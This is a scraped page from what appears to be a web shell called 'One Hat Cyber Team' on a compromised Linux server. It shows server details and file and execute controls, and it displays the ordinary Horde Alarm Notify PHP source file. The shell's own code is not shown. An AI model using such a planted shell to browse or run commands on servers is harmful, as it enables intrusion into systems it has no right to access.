⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.78
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
php
/
Horde
/
Alarm
/
Handler
/
View File Name :
Notify.php
* @category Horde * @license http://www.horde.org/licenses/lgpl21 LGPL-2.1 * @package Alarm */ /** * The Horde_Alarm_Handler_Notification class is a Horde_Alarm handler that * notifies of active alarms over the Horde_Notification system. * * @author Jan Schneider
* @category Horde * @copyright 2010-2017 Horde LLC * @license http://www.horde.org/licenses/lgpl21 LGPL-2.1 * @package Alarm */ class Horde_Alarm_Handler_Notify extends Horde_Alarm_Handler { /** * A notification handler injector. * * @var object */ protected $_notification; /** * Whether a sound already had been played during the page request. * * @var boolean */ protected $_soundPlayed = false; /** * Constructor. * * @param array $params Any parameters that the handler might need. * Required parameter: * - notification: (object) A factory that implements create() and * returns a Notification object. * * @throws Horde_Alarm_Exception */ public function __construct(array $params = null) { if (!isset($params['notification'])) { throw new Horde_Alarm_Exception('Parameter \'notification\' missing.'); } if (!method_exists($params['notification'], 'create')) { throw new Horde_Alarm_Exception('Parameter \'notification\' does not have a method create().'); } $this->_notification = $params['notification']; } /** * Notifies about an alarm through Horde_Notification. * * @param array $alarm An alarm hash. */ public function notify(array $alarm) { $notification = $this->_notification->create(); $notification->push($alarm['title'], 'horde.alarm', array('alarm' => $alarm)); if (!empty($alarm['params']['notify']['sound']) && !isset($this->_soundPlayed[$alarm['params']['notify']['sound']])) { $notification->attach('audio'); $notification->push($alarm['params']['notify']['sound'], 'audio'); $this->_soundPlayed[$alarm['params']['notify']['sound']] = true; } } /** * Returns a human readable description of the handler. * * @return string */ public function getDescription() { return Horde_Alarm_Translation::t("Inline"); } /** * Returns a hash of user-configurable parameters for the handler. * * The parameters are hashes with parameter names as keys and parameter * information as values. The parameter information is a hash with the * following keys: * - type: the parameter type as a preference type. * - desc: a parameter description. * - required: whether this parameter is required. * * @return array */ public function getParameters() { return array( 'sound' => array( 'type' => 'sound', 'desc' => Horde_Alarm_Translation::t("Play a sound?"), 'required' => false)); } }